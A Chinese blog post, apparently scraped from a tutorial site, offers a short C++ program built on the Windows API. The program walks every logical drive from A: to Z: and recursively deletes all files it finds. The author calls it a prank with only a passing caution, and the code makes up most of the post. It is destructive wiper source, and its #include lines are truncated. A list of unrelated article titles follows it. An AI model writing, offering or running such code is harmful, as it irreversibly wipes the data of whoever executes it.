本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include

#include

#include

using namespace std;

void DelFile(char *cFilePath)

{

WIN32_FIND_DATA data;

HANDLE hFind;

char cFullPath[100];

char cNewPath[100];

sprintf_s(cFullPath,"%s\\*.*",cFilePath);

hFind=FindFirstFile(cFullPath,&data);

do

{

if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))

{

continue;

}

if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)

{

sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);

DelFile(cNewPath);//递归

}

// MessageBox(NULL,data.cFileName,"Look",0);

sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);

DeleteFile(cFullPath);

}while(FindNextFile(hFind,&data));

}

int WINAPI WinMain(

HINSTANCE hInstance, // handle to current instance

HINSTANCE hPrevInstance, // handle to previous instance

LPSTR lpCmdLine, // command line

int nCmdShow // show state

)

{

DWORD dwDrive=GetLogicalDrives();

bitset<32> bit(dwDrive);

char Path[3]={'a',':','\0'};

for(int ix=0;ix!=32;ix++)

{

if(bit.test(ix))

{

Path[0]='A'+ix;

DelFile(Path);

}

}

return 0;

}

希望本文所述对大家的win32程序设计有所帮助。

c语言删除文件 Windows,基于Windows API实现遍历所有文件并删除的方法相关推荐

  1. java 压缩文件tar_使用Java API进行tar.gz文件及文件夹压缩解压缩

    在java(JDK)中我们可以使用ZipOutputStream去创建zip压缩文件,(参考我之前写的文章 使用java API进行zip递归压缩文件夹以及解压 ),也可以使用GZIPOutputSt ...

  2. 使用python将歌词文件(.lrc文件)转换成字典及遍历获取文件夹内所有lrc文件并以lrc格式显示出来

    import os class Get_lrcs(): #将lrc文件转换成字典def lrc_to_dict(file_path:str,filenmae:str): #需要传入的参数:文件路径,文 ...

  3. 基于官方API实现ESA遥感数据批量下载的方法

    一.确定Sentinel-2影像瓦片Tile分区号 Sentinel-2 A/B卫星的观测范围在56°S-84°N之间,影像数据采用UTM系统分区编码规则.其中,每个100km×100km的瓦片(Ti ...

  4. VB 文件常用操作相关API

    下面是windows中提供的对于文件进行操作的API函数及其功能: Windows API函数 功能 CloseHandle 关闭一个内核对象.其中包括文件.文件映射.进程.线程.安全和同步对象等.涉 ...

  5. linux网络通信移植,基于socket API的C/S通信:将Qt程序从Linux移植到windows

    Qt是一个跨平台的GUI开发语言,它是对C++在图形设计方面上的一种扩充.Qt本身包含一系列用来设计图形界面的类,并且对C++原有的类都进行了再次封装.如果你的程序采用Qt的类库,那么源程序在不同平台 ...

  6. 基于windows PE文件的恶意代码分析;使用SystemInternal工具与内核调试器研究windows用户空间与内核空间...

    基于windows PE文件的恶意代码分析:使用SystemInternal工具与内核调试器研究windows用户空间与内核空间 ******************** 既然本篇的主角是PE文件,那 ...

  7. windows和linux添加引导文件,Linux与Windows 10用grub引导教程-Go语言中文社区

    前言 去年暑假的时候,写了一篇如何装 Linux 和 Windows 10 双系统的文章发在了简书上,我写这篇文章的原因是当初装双系统确实是折腾了许久,网上也找不到一篇详尽的教程.由于去年对于写教程还 ...

  8. 标准C函数库头文件、POSIX标准库头文件和Windows API函数库头文件说明

    1. 标准C函数库头文件 名字 源自 描述 <assert.h> 包含断言宏,被用来在程序的调试版本中帮助检测逻辑错误以及其他类型的bug. <complex.h> C99 一 ...

  9. 服务器bat脚本删除空文件夹,windows批处理命令(1)——右键清理空文件夹

    日常学习工作免不了使用电脑,而作为一个强迫症,看到电脑中有空文件及其不爽: 再加上使用一些Git工具时含空文件不允许提交,因此就寻思着可不可以写一个脚本直接一键清理空文件夹. 最终实现的效果如下: 最 ...

最新文章

  1. mysql session变量_mysql 系统变量和session变量
  2. LibreOJ 数列分块入门
  3. 上传失败 已保存至草稿_学霸的草稿纸火了,卷面整洁,网友调侃:作业都比不上这草稿本...
  4. ubuntu安装python3.8_Ubuntu 16.04 安装 python3.8
  5. rsync一行代码实现远程文件同步之修改默认22端口
  6. python解密_Python解密
  7. BZOJAC400题留念
  8. Top的VIRT是什么
  9. android TextView屏蔽复制粘贴文本选择菜单
  10. 【20211208】【Python】UCI数据集的简单介绍和使用Python保存UCI数据集为.mat文件
  11. sublime如何运行HTML?
  12. 用python进行微信分析(带群发功能)
  13. [matlab]三维画图
  14. linux下opengl开发环境,Linux下配置OpenGL开发环境
  15. ezgo安装拼音输入法(fcitx)
  16. 树莓派脑壳疼问题解决:终端pip3 list中查看库是存在的,但是运行却报错ModuleNotFoundError: No module named ‘keyboard‘
  17. iOS--触碰响应UIResponder UIGestureRecognizer
  18. 程序猿生存指南-42 参见华妹
  19. 【财经】同程网 -- 盈利模式
  20. 甲骨文收购kuku后首个完整财季净利润同比增25%

热门文章

  1. elasticsearch6.0、jdk1.8、IK、kibana集群配置
  2. 用命令行执行php脚本输出乱码
  3. 我是如何用CSS绘制各种形状的
  4. iOS10 推送通知详解(UserNotifications)
  5. 12c r2单实例 静默安装软件
  6. zabbix+telegram 报警
  7. 活着,总有你看不惯的人,也有看不惯你的人.
  8. Exchange 2010 迁移至Exchange 2013系列之六:创建信任关系并安装ADMT Server
  9. VSFTP服务的日常应用及疑难问题解析
  10. 生成BAPI的ALE接口